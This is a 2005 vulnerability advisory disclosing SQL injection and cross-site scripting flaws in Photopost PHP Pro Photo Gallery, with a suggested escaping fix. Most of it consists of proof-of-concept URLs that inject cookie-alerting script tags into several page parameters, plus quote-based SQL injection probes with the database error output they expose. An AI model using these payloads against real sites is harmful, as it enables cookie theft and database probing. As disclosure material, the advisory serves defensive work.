Multiple Sql injection, and multiple XSS vulnerabilities in Photopost PHP Pro Photo Gallery Software

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Severity:  High
Title: Multiple Sql injection, and multiple XSS vulnerabilities in Photopost 
PHP Pro Photo Gallery Software.
Date: March  29,  2005

Summary:
There are multiple sql injection, xss vulnerabilities in the Photopost PHP Pro 
Photo Gallery Software.
Vendor: Photopost
Vendor website: http://www.photopost.com/

Proof of Concept Exploits:
http://localhost/photos/showgallery.php?cat=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Pops cookie


http://localhost/photos/showgallery.php?si=&sort=1&cat=2&ppuser=&friendemail=%3d'email%40yourfriend.com')this.value%3d''%3b&password=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Pops cookie


http://localhost/photos/showgallery.php?si=&sort=1&cat=501&ppuser=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&friendemail=%3d'email%40yourfriend.com')this.value%3d''%3b&password=
Pops cookie


http://localhost/photos/showgallery.php?si=&sort=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&cat=2&ppuser=&friendemail=%3d'email%40yourfriend.com')this.value%3d''%3b&password=
Pops cookie


http://localhost/photos/showgallery.php?si=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Pops cookie


http://localhost/photos/showmembers.php?si=&sort=4&cat=500&ppuser=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Pops cookie


http://localhost/photos/showmembers.php?si=&sort=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&cat=500&ppuser=
Pops cookie


http://localhost/photos/showmembers.php?si=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&sort=4&cat=500&ppuser=
Pops cookie


http://localhost/photos/showmembers.php?sl='SQL_INJECTION
SQL INJECTION
MySQL error reported!

Script: showmembers

Query: SELECT user,userid,SUM(views) AS tviews,COUNT(*) AS pcount,MAX(lastpost) 
AS maxlast,MAX(date) AS maxdate,date,SUM(filesize) AS tfilesize,id FROM photos 
WHERE user LIKE ''SQL_INJECTION%' GROUP BY user ORDER BY user ASC

Result: You have an error in your SQL syntax. Check the manual that corresponds 
to your MySQL server version for the right syntax to use near 'SQL_INJECTION%' 
GROUP BY user ORDER BY user ASC' at line 2

Database handle: Resource id #1


http://localhost/photos/showphoto.php?photo='SQL_ERROR
SQL ERROR, INFORMATION DISCLOSURE
MySQL error reported!

Script: showphoto

Query: SELECT id,bigimage,cat,userid,approved,storecat FROM photos WHERE cat='' 
AND userid= AND approved='1' ORDER BY disporder,lastpost DESC

Result: You have an error in your SQL syntax. Check the manual that corresponds 
to your MySQL server version for the right syntax to use near 'AND approved='1' 
ORDER BY disporder,lastpost DESC' at line 1

Database handle: Resource id #1


http://localhost/photos/slideshow.php?photo=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&amp%3bpassword=&amp%3bsort=1&amp%3bcat=502
Pops cookie


Possible fix: The usage of htmlspeacialchars(), mysql_escape_string(), 
mysql_real_escape_string() and other functions for input validation before 
passing user input to the mysql database, or before echoing data on the screen, 
would solve these problems.

Author:
These vulnerabilties have been found and released by Diabolic Crab, Email: 
dcrab[AT|NOSPAM]hackersenter[DOT|NOSPAM]com, please feel free to contact me 
regarding these vulnerabilities. You can find me at, 
http://www.hackerscenter.com or http://icis.digitalparadox.org/~dcrab. Lookout 
for my soon to come out book on Secure coding with php.